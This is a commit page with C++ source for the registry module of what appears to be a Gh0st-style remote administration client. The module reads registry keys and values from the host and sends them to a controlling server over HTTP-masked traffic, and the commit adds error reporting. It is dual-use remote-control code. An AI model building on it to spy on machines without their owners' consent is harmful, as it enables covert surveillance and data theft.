Four new client-to-server tokens carry a win32/LSTATUS code when a command fails instead of returning empty data: TOKEN_SERVICE_ERROR (170), TOKEN_FILE_LIST_ERROR (171), TOKEN_REG_ERROR (172) and TOKEN_DOWNLOAD_ERROR (173). They sit on byte values that were unused, so existing numbering is untouched. The three data paths that used to collapse "failed" and "empty" into the same packet now distinguish them: OpenSCManager failures, directory enumeration failures and RegOpenKeyEx failures all report the code that was actually returned, and UploadToRemoteV2 reports why it found no file to transfer before the transfer sub-connection is ever created. Every failure branch still sends the packet the old server expects (TOKEN_FILE_LIST, the empty TOKEN_REG_PATH/KEY pair, the ClientMsg popup), so a new client talking to an old server degrades to exactly today's behaviour instead of timing out. Success paths are byte-for- byte unchanged. Co-Authored-By: deepseek-flash
99 lines
3.4 KiB
C++
99 lines
3.4 KiB
C++
// RegisterManager.cpp: implementation of the CRegisterManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#include "stdafx.h"
|
|
#include "RegisterManager.h"
|
|
#include "Common.h"
|
|
#include <IOSTREAM>
|
|
|
|
#if ENABLE_REGISTRY
|
|
|
|
// 与 RegisterOperation.cpp 的 REGMSG 同构(int count + DWORD size + DWORD valsize = 12 字节),
|
|
// 此处仅用于构造"空结果包"(count=0),无需跨文件共享完整定义。
|
|
struct REGMSG {
|
|
int count; //名字个数
|
|
DWORD size; //名字大小
|
|
DWORD valsize; //值大小
|
|
};
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Construction/Destruction
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
|
{
|
|
BYTE bToken=TOKEN_REGEDIT;
|
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
|
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
|
}
|
|
|
|
CRegisterManager::~CRegisterManager()
|
|
{
|
|
Mprintf("CRegisterManager 析构\n");
|
|
}
|
|
|
|
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|
{
|
|
switch (szBuffer[0]) {
|
|
case COMMAND_REG_FIND: //查数据
|
|
if(ulLength>3) {
|
|
Find(szBuffer[1],(char*)(szBuffer+2));
|
|
} else {
|
|
Find(szBuffer[1],NULL); //Root数据
|
|
}
|
|
break;
|
|
default:
|
|
break;
|
|
}
|
|
}
|
|
|
|
VOID CRegisterManager::Find(char bToken, char *szPath)
|
|
{
|
|
RegisterOperation Opt(bToken);
|
|
if(szPath!=NULL) {
|
|
Opt.SetPath(szPath);
|
|
}
|
|
// 子键包(TOKEN_REG_PATH):无子键时也回传空包,保证服务端(含 MCP 无头查询)
|
|
// 能确定性收齐 PATH+KEY 两包,无需靠超时猜测是否有第二包。
|
|
char *szBuffer= Opt.FindPath();
|
|
// 键打不开(不存在 / 路径不存在 / 拒绝访问 …):回结构化错误包。此前这种情况与
|
|
// 「空键」同为 NULL,服务端只能回一个空列表,调用方无法区分。
|
|
LSTATUS st = Opt.GetLastOpenStatus();
|
|
if (st != ERROR_SUCCESS) {
|
|
BYTE pkt[1 + sizeof(LSTATUS)] = { 0 };
|
|
pkt[0] = TOKEN_REG_ERROR;
|
|
memcpy(pkt + 1, &st, sizeof(LSTATUS));
|
|
m_ClientObject->Send2Server((char*)pkt, sizeof(pkt));
|
|
// 老服务端不认识 TOKEN_REG_ERROR:补上原来的两个空包,仍按「空键」处理,行为不变。
|
|
char empty[1 + sizeof(REGMSG)] = { 0 };
|
|
empty[0] = TOKEN_REG_PATH;
|
|
m_ClientObject->Send2Server(empty, sizeof(empty));
|
|
empty[0] = TOKEN_REG_KEY;
|
|
m_ClientObject->Send2Server(empty, sizeof(empty));
|
|
return;
|
|
}
|
|
if(szBuffer!=NULL) {
|
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
|
//目录下的目录
|
|
LocalFree(szBuffer);
|
|
} else {
|
|
char empty[1 + sizeof(REGMSG)] = { 0 };
|
|
empty[0] = TOKEN_REG_PATH;
|
|
m_ClientObject->Send2Server(empty, sizeof(empty));
|
|
}
|
|
// 值包(TOKEN_REG_KEY):同上,无值时也回传空包。
|
|
szBuffer = Opt.FindKey();
|
|
if(szBuffer!=NULL) {
|
|
//目录下的文件
|
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
|
LocalFree(szBuffer);
|
|
} else {
|
|
char empty[1 + sizeof(REGMSG)] = { 0 };
|
|
empty[0] = TOKEN_REG_KEY;
|
|
m_ClientObject->Send2Server(empty, sizeof(empty));
|
|
}
|
|
}
|
|
|
|
#endif
|